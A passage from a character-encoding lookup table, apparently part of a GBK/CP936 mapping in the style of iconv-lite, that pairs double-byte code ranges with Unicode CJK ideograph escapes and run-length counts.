0",4,"\u5056\u5057\u5058\u5059\u505B\u505D",7,"\u5066",5,"\u506D",8,"\u5078\u5079\u507A\u507C\u507D\u5081\u5082\u5083\u5084\u5086\u5087\u5089\u508A\u508B\u508C\u508E",20,"\u50A4\u50A6\u50AA\u50AB\u50AD",4,"\u50B3",6,"\u50BC"],["8340","\u50BD",17,"\u50D0",5,"\u50D7\u50D8\u50D9\u50DB",10,"\u50E8\u50E9\u50EA\u50EB\u50EF\u50F0\u50F1\u50F2\u50F4\u50F6",4,"\u50FC",9,"\u5108"],["8380","\u5109\u510A\u510C",5,"\u5113",13,"\u5122",28,"\u5142\u5147\u514A\u514C\u514E\u514F\u5150\u5152\u5153\u5157\u5158\u5159\u515B\u515D",4,"\u5163\u5164\u5166\u5167\u5169\u516A\u516F\u5172\u517A\u517E\u517F\u5183\u5184\u5186\u5187\u518A\u518B\u518E\u518F\u5190\u5191\u5193\u5194\u5198\u519A\u519D\u519E\u519F\u51A1\u51A3\u51A6",4,"\u51AD\u51AE\u51B4\u51B8\u51B9\u51BA\u51BE\u51BF\u51C1\u51C2\u51C3\u51C5\u51C8\u51CA\u51CD\u51CE\u51D0\u51D2",5],["8440","\u51D8\u51D9\u51DA\u51DC\u51DE\u51DF\u51E2\u51E3\u51E5",5,"\u51EC\u51EE\u51F1\u51F2\u51F4\u51F7\u51FE\u5204\u5205\u5209\u520B\u520C\u520F\u5210\u5213\u5214\u5215\u521C\u521E\u521F\u5221\u5222\u5223\u5225\u5226\u5227\u522A\u522C\u522F\u5231\u5232\u5234\u5235\u523C\u523E\u5244",5,"\u524B\u524E\u524F\u5252\u5253\u5255\u5257\u5258"],["8480","\u5259\u525A\u525B\u525D\u525F\u5260\u5262\u5263\u5264\u5266\u5268\u526B\u526C\u526D\u526E\u5270\u5271\u5273",9,"\u527E\u5280\u5283",4,"\u5289",6,"\u5291\u5292\u5294",6,"\u529C\u52A4\u52A5\u52A6\u52A7\u52AE\u52AF\u52B0\u52B4",9,"\u52C0\u52C1\u52C2\u52C4\u52C5\u52C6\u52C8\u52CA\u52CC\u52CD\u52CE\u52CF\u52D1\u52D3\u52D4\u52D5\u52D7\u52D9",5,"\u52E0\u52E1\u52E2\u52E3\u52E5",10,"\u52F1",7,"\u52FB\u52FC\u52FD\u5301\u5302\u5303\u5304\u5307\u5309\u530A\u530B\u530C\u530E"],["8540","\u5311\u5312\u5313\u5314\u5318\u531B\u531C\u531E\u531F\u5322\u5324\u5325\u5327\u5328\u5329\u532B\u532C\u532D\u532F",9,"\u533C\u533D\u5340\u5342\u5344\u5346\u534B\u534C\u534D\u5350\u5354\u5358\u5359\u535B\u535D\u5365\u5368\u536A\u536C\u536D\u5372\u5376\u5379\u537B\u537C\u537D\u537E\u5380\u5381\u5383\u5387\u5388\u538A\u538E\u538F"],["8580","\u5390",4,"\u5396\u5397\u5399\u539B\u539C\u539E\u53A0\u53A1\u53A4\u53A7\u53AA\u53AB\u53AC\u53AD\u53AF",6,"\u53B7\u53B8\u53B9\u53BA\u53BC\u53BD\u53BE\u53C0\u53C3",4,"\u53CE\u53CF\u53D0\u53D2\u53D3\u53D5\u53DA\u53DC\u53DD\u53DE\u53E1\u53E2\u53E7\u53F4\u53FA\u53FE\u53FF\u5400\u5402\u5405\u5407\u540B\u5414\u5418\u5419\u541A\u541C\u5422\u5424\u5425\u542A\u5430\u5433\u5436\u5437\u543A\u543D\u543F\u5441\u5442\u5444\u5445\u5447\u5449\u544C\u544D\u544E\u544F\u5451\u545A\u545D",4,"\u5463\u5465\u5467\u5469",7,"\u5474\u5479\u547A\u547E\u547F\u5481\u5483\u5485\u5487\u5488\u5489\u548A\u548D\u5491\u5493\u5497\u5498\u549C\u549E\u549F\u54A0\u54A1"],["8640","\u54A2\u54A5\u54AE\u54B0\u54B2\u54B5\u54B6\u54B7\u54B9\u54BA\u54BC\u54BE\u54C3\u54C5\u54CA\u54CB\u54D6\u54D8\u54DB\u54E0",4,"\u54EB\u54EC\u54EF\u54F0\u54F1\u54F4",5,"\u54FB\u54FE\u5500\u5502\u5503\u5504\u5505\u5508\u550A",4,"\u5512\u5513\u5515",5,"\u551C\u551D\u551E\u551F\u5521\u5525\u5526"],["8680","\u5528\u5529\u552B\u552D\u5532\u5534\u5535\u5536\u5538\u5539\u553A\u553B\u553D\u5540\u5542\u5545\u5547\u5548\u554B",4,"\u5551\u5552\u5553\u5554\u5557",4,"\u555D\u555E\u555F\u5560\u5562\u5563\u5568\u5569\u556B\u556F",5,"\u5579\u557A\u557D\u557F\u5585\u5586\u558C\u558D\u558E\u5590\u5592\u5593\u5595\u5596\u5597\u559A\u559B\u559E\u55A0",6,"\u55A8",8,"\u55B2\u55B4\u55B6\u55B8\u55BA\u55BC\u55BF",4,"\u55C6\u55C7\u55C8\u55CA\u55CB\u55CE\u55CF\u55D0\u55D5\u55D7",4,"\u55DE\u55E0\u55E2\u55E7\u55E9\u55ED\u55EE\u55F0\u55F1\u55F4\u55F6\u55F8",4,"\u55FF\u5602\u5603\u5604\u5605"],["8740","\u5606\u5607\u560A\u560B\u560D\u5610",7,"\u5619\u561A\u561C\u561D\u5620\u5621\u5622\u5625\u5626\u5628\u5629\u562A\u562B\u562E\u562F\u5630\u5633\u5635\u5637\u5638\u563A\u563C\u563D\u563E\u5640",11,"\u564F",4,"\u5655\u5656\u565A\u565B\u565D",4],["8780","\u5663\u5665\u5666\u5667\u566D\u566E\u566F\u5670\u5672\u5673\u5674\u5675\u5677\u5678\u5679\u567A\u567D",7,"\u5687",6,"\u5690\u5691\u5692\u5694",14,"\u56A4",10,"\u56B0",6,"\u56B8\u56B9\u56BA\u56BB\u56BD",12,"\u56CB",8,"\u56D5\u56D6\u56D8\u56D9\u56DC\u56E3\u56E5",5,"\u56EC\u56EE\u56EF\u56F2\u56F3\u56F6\u56F7\u56F8\u56FB\u56FC\u5700\u5701\u5702\u5705\u5707\u570B",6],["8840","\u5712",9,"\u571D\u571E\u5720\u5721\u5722\u5724\u5725\u5726\u5727\u572B\u5731\u5732\u5734",4,"\u573C\u573D\u573F\u5741\u5743\u5744\u5745\u5746\u5748\u5749\u574B\u5752",4,"\u5758\u5759\u5762\u5763\u5765\u5767\u576C\u576E\u5770\u5771\u5772\u5774\u5775\u5778\u5779\u577A\u577D\u577E\u577F\u5780"],["8880","\u5781\u5787\u5788\u5789\u578A\u578D",4,"\u5794",6,"\u579C\u579D\u579E\u579F\u57A5\u57A8\u57AA\u57AC\u57AF\u57B0\u57B1\u57B3\u57B5\u57B6\u57B7\u57B9",8,"\u57C4",6,"\u57CC\u57CD\u57D0\u57D1\u57D3\u57D6\u57D7\u57DB\u57DC\u57DE\u57E1\u57E2\u57E3\u57E5",7,"\u57EE\u57F0\u57F1\u57F2\u57F3\u57F5\u57F6\u57F7\u57FB\u57FC\u57FE\u57FF\u5801\u5803\u5804\u5805\u5808\u5809\u580A\u580C\u580E\u580F\u5810\u5812\u5813\u5814\u5816\u5817\u5818\u581A\u581B\u581C\u581D\u581F\u5822\u5823\u5825",4,"\u582B",4,"\u5831\u5832\u5833\u5834\u5836",7],["8940","\u583E",5,"\u5845",6,"\u584E\u584F\u5850\u5852\u5853\u5855\u5856\u5857\u5859",4,"\u585F",5,"\u5866",4,"\u586D",16,"\u587F\u5882\u5884\u5886\u5887\u5888\u588A\u588B\u588C"],["8980","\u588D",4,"\u5894",4,"\u589B\u589C\u589D\u58A0",7,"\u58AA",17,"\u58BD\u58BE\u58BF\u58C0\u58C2\u58C3\u58C4\u58C6",10,"\u58D2\u58D3\u58D4\u58D6",13,"\u58E5",5,"\u58ED\u58EF\u58F1\u58F2\u58F4\u58F5\u58F7\u58F8\u58FA",7,"\u5903\u5905\u5906\u5908",4,"\u590E\u5910\u5911\u5912\u5913\u5917\u5918\u591B\u591D\u591E\u5920\u5921\u5922\u5923\u5926\u5928\u592C\u5930\u5932\u5933\u5935\u5936\u593B"],["8a40","\u593D\u593E\u593F\u5940\u5943\u5945\u5946\u594A\u594C\u594D\u5950\u5952\u5953\u5959\u595B",4,"\u5961\u5963\u5964\u5966",12,"\u5975\u5977\u597A\u597B\u597C\u597E\u597F\u5980\u5985\u5989\u598B\u598C\u598E\u598F\u5990\u5991\u5994\u5995\u5998\u599A\u599B\u599C\u599D\u599F\u59A0\u59A1\u59A2\u59A6"],["8a80","\u59A7\u59AC\u59AD\u59B0\u59B1\u59B3",5,"\u59BA\u59BC\u59BD\u59BF",6,"\u59C7\u59C8\u59C9\u59CC\u59CD\u59CE\u59CF\u59D5\u59D6\u59D9\u59DB\u59DE",4,"\u59E4\u59E6\u59E7\u59E9\u59EA\u59EB\u59ED",11,"\u59FA\u59FC\u59FD\u59FE\u5A00\u5A02\u5A0A\u5A0B\u5A0D\u5A0E\u5A0F\u5A10\u5A12\u5A14\u5A15\u5A16\u5A17\u5A19\u5A1A\u5A1B\u5A1D\u5A1E\u5A21\u5A22\u5A24\u5A26\u5A27\u5A28\u5A2A",6,"\u5A33\u5A35\u5A37",4,"\u5A3D\u5A3E\u5A3F\u5A41",4,"\u5A47\u5A48\u5A4B",9,"\u5A56\u5A57\u5A58\u5A59\u5A5B",5],["8b40","\u5A61\u5A63\u5A64\u5A65\u5A66\u5A68\u5A69\u5A6B",8,"\u5A78\u5A79\u5A7B\u5A7C\u5A7D\u5A7E\u5A80",17,"\u5A93",6,"\u5A9C",13,"\u5AAB\u5AAC"],["8b80","\u5AAD",4,"\u5AB4\u5AB6\u5AB7\u5AB9",4,"\u5ABF\u5AC0\u5AC3",5,"\u5ACA\u5ACB\u5ACD",4,"\u5AD3\u5AD5\u5AD7\u5AD9\u5ADA\u5ADB\u5ADD\u5ADE\u5ADF\u5AE2\u5AE4\u5AE5\u5AE7\u5AE8\u5AEA\u5AEC",4,"\u5AF2",22,"\u5B0A",11,"\u5B18",25,"\u5B33\u5B35\u5B36\u5B38",7,"\u5B41",6],["8c40","\u5B48",7,"\u5B52\u5B56\u5B5E\u5B60\u5B61\u5B67\u5B68\u5B6B\u5B6D\u5B6E\u5B6F\u5B72\u5B74\u5B76\u5B77\u5B78\u5B79\u5B7B\u5B7C\u5B7E\u5B7F\u5B82\u5B86\u5B8A\u5B8D\u5B8E\u5B90\u5B91\u5B92\u5B94\u5B96\u5B9F\u5BA7\u5BA8\u5BA9\u5BAC\u5BAD\u5BAE\u5BAF\u5BB1\u5BB2\u5BB7\u5BBA\u5BBB\u5BBC\u5BC0\u5BC1\u5BC3\u5BC8\u5BC9\u5BCA\u5BCB\u5BCD\u5BCE\u5BCF"],["8c80","\u5BD1\u5BD4",8,"\u5BE0\u5BE2\u5BE3\u5BE6\u5BE7\u5BE9",4,"\u5BEF\u5BF1",6,"\u5BFD\u5BFE\u5C00\u5C02\u5C03\u5C05\u5C07\u5C08\u5C0B\u5C0C\u5C0D\u5C0E\u5C10\u5C12\u5C13\u5C17\u5C19\u5C1B\u5C1E\u5C1F\u5C20\u5C21\u5C23\u5C26\u5C28\u5C29\u5C2A\u5C2B\u5C2D\u5C2E\u5C2F\u5C30\u5C32\u5C33\u5C35\u5C36\u5C37\u5C43\u5C44\u5C46\u5C47\u5C4C\u5C4D\u5C52\u5C53\u5C54\u5C56\u5C57\u5C58\u5C5A\u5C5B\u5C5C\u5C5D\u5C5F\u5C62\u5C64\u5C67",6,"\u5C70\u5C72",6,"\u5C7B\u5C7C\u5C7D\u5C7E\u5C80\u5C83",4,"\u5C89\u5C8A\u5C8B\u5C8E\u5C8F\u5C92\u5C93\u5C95\u5C9D",4,"\u5CA4",4],["8d40","\u5CAA\u5CAE\u5CAF\u5CB0\u5CB2\u5CB4\u5CB6\u5CB9\u5CBA\u5CBB\u5CBC\u5CBE\u5CC0\u5CC2\u5CC3\u5CC5",5,"\u5CCC",5,"\u5CD3",5,"\u5CDA",6,"\u5CE2\u5CE3\u5CE7\u5CE9\u5CEB\u5CEC\u5CEE\u5CEF\u5CF1",9,"\u5CFC",4],["8d80","\u5D01\u5D04\u5D05\u5D08",5,"\u5D0F",4,"\u5D15\u5D17\u5D18\u5D19\u5D1A\u5D1C\u5D1D\u5D1F",4,"\u5D25\u5D28\u5D2A\u5D2B\u5D2C\u5D2F",4,"\u5D35",7,"\u5D3F",7,"\u5D48\u5D49\u5D4D",10,"\u5D59\u5D5A\u5D5C\u5D5E",10,"\u5D6A\u5D6D\u5D6E\u5D70\u5D71\u5D72\u5D73\u5D75",12,"\u5D83",21,"\u5D9A\u5D9B\u5D9C\u5D9E\u5D9F\u5DA0"],["8e40","\u5DA1",21,"\u5DB8",12,"\u5DC6",6,"\u5DCE",12,"\u5DDC\u5DDF\u5DE0\u5DE3\u5DE4\u5DEA\u5DEC\u5DED"],["8e80","\u5DF0\u5DF5\u5DF6\u5DF8",4,"\u5DFF\u5E00\u5E04\u5E07\u5E09\u5E0A\u5E0B\u5E0D\u5E0E\u5E12\u5E13\u5E17\u5E1E",7,"\u5E28",4,"\u5E2F\u5E30\u5E32",4,"\u5E39\u5E3A\u5E3E\u5E3F\u5E40\u5E41\u5E43\u5E46",5,"\u5E4D",6,"\u5E56",4,"\u5E5C\u5E5D\u5E5F\u5E60\u5E63",14,"\u5E75\u5E77\u5E79\u5E7E\u5E81\u5E82\u5E83\u5E85\u5E88\u5E89\u5E8C\u5E8D\u5E8E\u5E92\u5E98\u5E9B\u5E9D\u5EA1\u5EA2\u5EA3\u5EA4\u5EA8",4,"\u5EAE",4,"\u5EB4\u5EBA\u5EBB\u5EBC\u5EBD\u5EBF",6],["8f40","\u5EC6\u5EC7\u5EC8\u5ECB",5,"\u5ED4\u5ED5\u5ED7\u5ED8\u5ED9\u5EDA\u5EDC",11,"\u5EE9\u5EEB",8,"\u5EF5\u5EF8\u5EF9\u5EFB\u5EFC\u5EFD\u5F05\u5F06\u5F07\u5F09\u5F0C\u5F0D\u5F0E\u5F10\u5F12\u5F14\u5F16\u5F19\u5F1A\u5F1C\u5F1D\u5F1E\u5F21\u5F22\u5F23\u5F24"],["8f80","\u5F28\u5F2B\u5F2C\u5F2E\u5F30\u5F32",6,"\u5F3B\u5F3D\u5F3E\u5F3F\u5F41",14,"\u5F51\u5F54\u5F59\u5F5A\u5F5B\u5F5C\u5F5E\u5F5F\u5F60\u5F63\u5F65\u5F67\u5F68\u5F6B\u5F6E\u5F6F\u5F72\u5F74\u5F75\u5F76\u5F78\u5F7A\u5F7D\u5F7E\u5F7F\u5F83\u5F86\u5F8D\u5F8E\u5F8F\u5F91\u5F93\u5F94\u5F96\u5F9A\u5F9B\u5F9D\u5F9E\u5F9F\u5FA0\u5FA2",5,"\u5FA9\u5FAB\u5FAC\u5FAF",5,"\u5FB6\u5FB8\u5FB9\u5FBA\u5FBB\u5FBE",4,"\u5FC7\u5FC8\u5FCA\u5FCB\u5FCE\u5FD3\u5FD4\u5FD5\u5FDA\u5FDB\u5FDC\u5FDE\u5FDF\u5FE2\u5FE3\u5FE5\u5FE6\u5FE8\u5FE9\u5FEC\u5FEF\u5FF0\u5FF2\u5FF3\u5FF4\u5FF6\u5FF7\u5FF9\u5FFA\u5FFC\u6007"],["9040","\u6008\u6009\u600B\u600C\u6010\u6011\u6013\u6017\u6018\u601A\u601E\u601F\u6022\u6023\u6024\u602C\u602D\u602E\u6030",4,"\u6036",4,"\u603D\u603E\u6040\u6044",6,"\u604C\u604E\u604F\u6051\u6053\u6054\u6056\u6057\u6058\u605B\u605C\u605E\u605F\u6060\u6061\u6065\u6066\u606E\u6071\u6072\u6074\u6075\u6077\u607E\u6080"],["9080","\u6081\u6082\u6085\u6086\u6087\u6088\u608A\u608B\u608E\u608F\u6090\u6091\u6093\u6095\u6097\u6098\u6099\u609C\u609E\u60A1\u60A2\u60A4\u60A5\u60A7\u60A9\u60AA\u60AE\u60B0\u60B3\u60B5\u60B6\u60B7\u60B9\u60BA\u60BD",7,"\u60C7\u60C8\u60C9\u60CC",4,"\u60D2\u60D3\u60D4\u60D6\u60D7\u60D9\u60DB\u60DE\u60E1",4,"\u60EA\u60F1\u60F2\u60F5\u60F7\u60F8\u60FB",4,"\u6102\u6103\u6104\u6105\u6107\u610A\u610B\u610C\u6110",4,"\u6116\u6117\u6118\u6119\u611B\u611C\u611D\u611E\u6121\u6122\u6125\u6128\u6129\u612A\u612C",18,"\u6140",6],["9140","\u6147\u6149\u614B\u614D\u614F\u6150\u6152\u6153\u6154\u6156",6,"\u615E\u615F\u6160\u6161\u6163\u6164\u6165\u6166\u6169",6,"\u6171\u6172\u6173\u6174\u6176\u6178",18,"\u618C\u618D\u618F",4,"\u6195"],["9180","\u6196",6,"\u619E",8,"\u61AA\u61AB\u61AD",9,"\u61B8",5,"\u61BF\u61C0\u61C1\u61C3",4,"\u61C9\u61CC",4,"\u61D3\u61D5",16,"\u61E7",13,"\u61F6",8,"\u6200",5,"\u6207\u6209\u6213\u6214\u6219\u621C\u621D\u621E\u6220\u6223\u6226\u6227\u6228\u6229\u622B\u622D\u622F\u6230\u6231\u6232\u6235\u6236\u6238",4,"\u6242\u6244\u6245\u6246\u624A"],["9240","\u624F\u6250\u6255\u6256\u6257\u6259\u625A\u625C",6,"\u6264\u6265\u6268\u6271\u6272\u6274\u6275\u6277\u6278\u627A\u627B\u627D\u6281\u6282\u6283\u6285\u6286\u6287\u6288\u628B",5,"\u6294\u6299\u629C\u629D\u629E\u62A3\u62A6\u62A7\u62A9\u62AA\u62AD\u62AE\u62AF\u62B0\u62B2\u62B3\u62B4\u62B6\u62B7\u62B8\u62BA\u62BE\u62C0\u62C1"],["9280","\u62C3\u62CB\u62CF\u62D1\u62D5\u62DD\u62DE\u62E0\u62E1\u62E4\u62EA\u62EB\u62F0\u62F2\u62F5\u62F8\u62F9\u62FA\u62FB\u6300\u6303\u6304\u6305\u6306\u630A\u630B\u630C\u630D\u630F\u6310\u6312\u6313\u6314\u6315\u6317\u6318\u6319\u631C\u6326\u6327\u6329\u632C\u632D\u632E\u6330\u6331\u6333",5,"\u633B\u633C\u633E\u633F\u6340\u6341\u6344\u6347\u6348\u634A\u6351\u6352\u6353\u6354\u6356",7,"\u6360\u6364\u6365\u6366\u6368\u636A\u636B\u636C\u636F\u6370\u6372\u6373\u6374\u6375\u6378\u6379\u637C\u637D\u637E\u637F\u6381\u6383\u6384\u6385\u6386\u638B\u638D\u6391\u6393\u6394\u6395\u6397\u6399",6,"\u63A1\u63A4\u63A6\u63AB\u63AF\u63B1\u63B2\u63B5\u63B6\u63B9\u63BB\u63BD\u63BF\u63C0"],["9340","\u63C1\u63C2\u63C3\u63C5\u63C7\u63C8\u63CA\u63CB\u63CC\u63D1\u63D3\u63D4\u63D5\u63D7",6,"\u63DF\u63E2\u63E4",4,"\u63EB\u63EC\u63EE\u63EF\u63F0\u63F1\u63F3\u63F5\u63F7\u63F9\u63FA\u63FB\u63FC\u63FE\u6403\u6404\u6406",4,"\u640D\u640E\u6411\u6412\u6415",5,"\u641D\u641F\u6422\u6423\u6424"],["9380","\u6425\u6427\u6428\u6429\u642B\u642E",5,"\u6435",4,"\u643B\u643C\u643E\u6440\u6442\u6443\u6449\u644B",6,"\u6453\u6455\u6456\u6457\u6459",4,"\u645F",7,"\u6468\u646A\u646B\u646C\u646E",9,"\u647B",6,"\u6483\u6486\u6488",8,"\u6493\u6494\u6497\u6498\u649A\u649B\u649C\u649D\u649F",4,"\u64A5\u64A6\u64A7\u64A8\u64AA\u64AB\u64AF\u64B1\u64B2\u64B3\u64B4\u64B6\u64B9\u64BB\u64BD\u64BE\u64BF\u64C1\u64C3\u64C4\u64C6",6,"\u64CF\u64D1\u64D3\u64D4\u64D5\u64D6\u64D9\u64DA"],["9440","\u64DB\u64DC\u64DD\u64DF\u64E0\u64E1\u64E3\u64E5\u64E7",24,"\u6501",7,"\u650A",7,"\u6513",4,"\u6519",8],["9480","\u6522\u6523\u6524\u6526",4,"\u652C\u652D\u6530\u6531\u6532\u6533\u6537\u653A\u653C\u653D\u6540",4,"\u6546\u6547\u654A\u654B\u654D\u654E\u6550\u6552\u6553\u6554\u6557\u6558\u655A\u655C\u655F\u6560\u6561\u6564\u6565\u6567\u6568\u6569\u656A\u656D\u656E\u656F\u6571\u6573\u6575\u6576\u6578",14,"\u6588\u6589\u658A\u658D\u658E\u658F\u6592\u6594\u6595\u6596\u6598\u659A\u659D\u659E\u65A0\u65A2\u65A3\u65A6\u65A8\u65AA\u65AC\u65AE\u65B1",7,"\u65BA\u65BB\u65BE\u65BF\u65C0\u65C2\u65C7\u65C8\u65C9\u65CA\u65CD\u65D0\u65D1\u65D3\u65D4\u65D5\u65D8",7,"\u65E1\u65E3\u65E4\u65EA\u65EB"],["9540","\u65F2\u65F3\u65F4\u65F5\u65F8\u65F9\u65FB",4,"\u6601\u6604\u6605\u6607\u6608\u6609\u660B\u660D\u6610\u6611\u6612\u6616\u6617\u6618\u661A\u661B\u661C\u661E\u6621\u6622\u6623\u6624\u6626\u6629\u662A\u662B\u662C\u662E\u6630\u6632\u6633\u6637",4,"\u663D\u663F\u6640\u6642\u6644",6,"\u664D\u664E\u6650\u6651\u6658"],["9580","\u6659\u665B\u665C\u665D\u665E\u6660\u6662\u6663\u6665\u6667\u6669",4,"\u6671\u6672\u6673\u6675\u6678\u6679\u667B\u667C\u667D\u667F\u6680\u6681\u6683\u6685\u6686\u6688\u6689\u668A\u668B\u668D\u668E\u668F\u6690\u6692\u6693\u6694\u6695\u6698",4,"\u669E",8,"\u66A9",4,"\u66AF",4,"\u66B5\u66B6\u66B7\u66B8\u66BA\u66BB\u66BC\u66BD\u66BF",25,"\u66DA\u66DE",7,"\u66E7\u66E8\u66EA",5,"\u66F1\u66F5\u66F6\u66F8\u66FA\u66FB\u66FD\u6701\u6702\u6703"],["9640","\u6704\u6705\u6706\u6707\u670C\u670E\u670F\u6711\u6712\u6713\u6716\u6718\u6719\u671A\u671C\u671E\u6720",5,"\u6727\u6729\u672E\u6730\u6732\u6733\u6736\u6737\u6738\u6739\u673B\u673C\u673E\u673F\u6741\u6744\u6745\u6747\u674A\u674B\u674D\u6752\u6754\u6755\u6757",4,"\u675D\u6762\u6763\u6764\u6766\u6767\u676B\u676C\u676E\u6771\u6774\u6776"],["9680","\u6778\u6779\u677A\u677B\u677D\u6780\u6782\u6783\u6785\u6786\u6788\u678A\u678C\u678D\u678E\u678F\u6791\u6792\u6793\u6794\u6796\u6799\u679B\u679F\u67A0\u67A1\u67A4\u67A6\u67A9\u67AC\u67AE\u67B1\u67B2\u67B4\u67B9",7,"\u67C2\u67C5",9,"\u67D5\u67D6\u67D7\u67DB\u67DF\u67E1\u67E3\u67E4\u67E6\u67E7\u67E8\u67EA\u67EB\u67ED\u67EE\u67F2\u67F5",7,"\u67FE\u6801\u6802\u6803\u6804\u6806\u680D\u6810\u6812\u6814\u6815\u6818",4,"\u681E\u681F\u6820\u6822",6,"\u682B",6,"\u6834\u6835\u6836\u683A\u683B\u683F\u6847\u684B\u684D\u684F\u6852\u6856",5],["9740","\u685C\u685D\u685E\u685F\u686A\u686C",7,"\u6875\u6878",8,"\u6882\u6884\u6887",7,"\u6890\u6891\u6892\u6894\u6895\u6896\u6898",9,"\u68A3\u68A4\u68A5\u68A9\u68AA\u68AB\u68AC\u68AE\u68B1\u68B2\u68B4\u68B6\u68B7\u68B8"],["9780","\u68B9",6,"\u68C1\u68C3",5,"\u68CA\u68CC\u68CE\u68CF\u68D0\u68D1\u68D3\u68D4\u68D6\u68D7\u68D9\u68DB",4,"\u68E1\u68E2\u68E4",9,"\u68EF\u68F2\u68F3\u68F4\u68F6\u68F7\u68F8\u68FB\u68FD\u68FE\u68FF\u6900\u6902\u6903\u6904\u6906",4,"\u690C\u690F\u6911\u6913",11,"\u6921\u6922\u6923\u6925",7,"\u692E\u692F\u6931\u6932\u6933\u6935\u6936\u6937\u6938\u693A\u693B\u693C\u693E\u6940\u6941\u6943",16,"\u6955\u6956\u6958\u6959\u695B\u695C\u695F"],["9840","\u6961\u6962\u6964\u6965\u6967\u6968\u6969\u696A\u696C\u696D\u696F\u6970\u6972",4,"\u697A\u697B\u697D\u697E\u697F\u6981\u6983\u6985\u698A\u698B\u698C\u698E",5,"\u6996\u6997\u6999\u699A\u699D",9,"\u69A9\u69AA\u69AC\u69AE\u69AF\u69B0\u69B2\u69B3\u69B5\u69B6\u69B8\u69B9\u69BA\u69BC\u69BD"],["9880","\u69BE\u69BF\u69C0\u69C2",7,"\u69CB\u69CD\u69CF\u69D1\u69D2\u69D3\u69D5",5,"\u69DC\u69DD\u69DE\u69E1",11,"\u69EE\u69EF\u69F0\u69F1\u69F3",9,"\u69FE\u6A00",9,"\u6A0B",11,"\u6A19",5,"\u6A20\u6A22",5,"\u6A29\u6A2B\u6A2C\u6A2D\u6A2E\u6A30\u6A32\u6A33\u6A34\u6A36",6,"\u6A3F",4,"\u6A45\u6A46\u6A48",7,"\u6A51",6,"\u6A5A"],["9940","\u6A5C",4,"\u6A62\u6A63\u6A64\u6A66",10,"\u6A72",6,"\u6A7A\u6A7B\u6A7D\u6A7E\u6A7F\u6A81\u6A82\u6A83\u6A85",8,"\u6A8F\u6A92",4,"\u6A98",7,"\u6AA1",5],["9980","\u6AA7\u6AA8\u6AAA\u6AAD",114,"\u6B25\u6B26\u6B28",6],["9a40","\u6B2F\u6B30\u6B31\u6B33\u6B34\u6B35\u6B36\u6B38\u6B3B\u6B3C\u6B3D\u6B3F\u6B40\u6B41\u6B42\u6B44\u6B45\u6B48\u6B4A\u6B4B\u6B4D",11,"\u6B5A",7,"\u6B68\u6B69\u6B6B",13,"\u6B7A\u6B7D\u6B7E\u6B7F\u6B80\u6B85\u6B88"],["9a80","\u6B8C\u6B8E\u6B8F\u6B90\u6B91\u6B94\u6B95\u6B97\u6B98\u6B99\u6B9C",4,"\u6BA2",7,"\u6BAB",7,"\u6BB6\u6BB8",6,"\u6BC0\u6BC3\u6BC4\u6BC6",4,"\u6BCC\u6BCE\u6BD0\u6BD1\u6BD8\u6BDA\u6BDC",4,"\u6BE2",7,"\u6BEC\u6BED\u6BEE\u6BF0\u6BF1\u6BF2\u6BF4\u6BF6\u6BF7\u6BF8\u6BFA\u6BFB\u6BFC\u6BFE",6,"\u6C08",4,"\u6C0E\u6C12\u6C17\u6C1C\u6C1D\u6C1E\u6C20\u6C23\u6C25\u6C2B\u6C2C\u6C2D\u6C31\u6C33\u6C36\u6C37\u6C39\u6C3A\u6C3B\u6C3C\u6C3E\u6C3F\u6C43\u6C44\u6C45\u6C48\u6C4B",4,"\u6C51\u6C52\u6C53\u6C56\u6C58"],["9b40","\u6C59\u6C5A\u6C62\u6C63\u6C65\u6C66\u6C67\u6C6B",4,"\u6C71\u6C73\u6C75\u6C77\u6C78\u6C7A\u6C7B\u6C7C\u6C7F\u6C80\u6C84\u6C87\u6C8A\u6C8B\u6C8D\u6C8E\u6C91\u6C92\u6C95\u6C96\u6C97\u6C98\u6C9A\u6C9C\u6C9D\u6C9E\u6CA0\u6CA2\u6CA8\u6CAC\u6CAF\u6CB0\u6CB4\u6CB5\u6CB6\u6CB7\u6CBA\u6CC0\u6CC1\u6CC2\u6CC3\u6CC6\u6CC7\u6CC8\u6CCB\u6CCD\u6CCE\u6CCF\u6CD1\u6CD2\u6CD8"],["9b80","\u6CD9\u6CDA\u6CDC\u6CDD\u6CDF\u6CE4\u6CE6\u6CE7\u6CE9\u6CEC\u6CED\u6CF2\u6CF4\u6CF9\u6CFF\u6D00\u6D02\u6D03\u6D05\u6D06\u6D08\u6D09\u6D0A\u6D0D\u6D0F\u6D10\u6D11\u6D13\u6D14\u6D15\u6D16\u6D18\u6D1C\u6D1D\u6D1F",5,"\u6D26\u6D28\u6D29\u6D2C\u6D2D\u6D2F\u6D30\u6D34\u6D36\u6D37\u6D38\u6D3A\u6D3F\u6D40\u6D42\u6D44\u6D49\u6D4C\u6D50\u6D55\u6D56\u6D57\u6D58\u6D5B\u6D5D\u6D5F\u6D61\u6D62\u6D64\u6D65\u6D67\u6D68\u6D6B\u6D6C\u6D6D\u6D70\u6D71\u6D72\u6D73\u6D75\u6D76\u6D79\u6D7A\u6D7B\u6D7D",4,"\u6D83\u6D84\u6D86\u6D87\u6D8A\u6D8B\u6D8D\u6D8F\u6D90\u6D92\u6D96",4,"\u6D9C\u6DA2\u6DA5\u6DAC\u6DAD\u6DB0\u6DB1\u6DB3\u6DB4\u6DB6\u6DB7\u6DB9",5,"\u6DC1\u6DC2\u6DC3\u6DC8\u6DC9\u6DCA"],["9c40","\u6DCD\u6DCE\u6DCF\u6DD0\u6DD2\u6DD3\u6DD4\u6DD5\u6DD7\u6DDA\u6DDB\u6DDC\u6DDF\u6DE2\u6DE3\u6DE5\u6DE7\u6DE8\u6DE9\u6DEA\u6DED\u6DEF\u6DF0\u6DF2\u6DF4\u6DF5\u6DF6\u6DF8\u6DFA\u6DFD",7,"\u6E06\u6E07\u6E08\u6E09\u6E0B\u6E0F\u6E12\u6E13\u6E15\u6E18\u6E19\u6E1B\u6E1C\u6E1E\u6E1F\u6E22\u6E26\u6E27\u6E28\u6E2A\u6E2C\u6E2E\u6E30\u6E31\u6E33\u6E35"],["9c80","\u6E36\u6E37\u6E39\u6E3B",7,"\u6E45",7,"\u6E4F\u6E50\u6E51\u6E52\u6E55\u6E57\u6E59\u6E5A\u6E5C\u6E5D\u6E5E\u6E60",10,"\u6E6C\u6E6D\u6E6F",14,"\u6E80\u6E81\u6E82\u6E84\u6E87\u6E88\u6E8A",4,"\u6E91",6,"\u6E99\u6E9A\u6E9B\u6E9D\u6E9E\u6EA0\u6EA1\u6EA3\u6EA4\u6EA6\u6EA8\u6EA9\u6EAB\u6EAC\u6EAD\u6EAE\u6EB0\u6EB3\u6EB5\u6EB8\u6EB9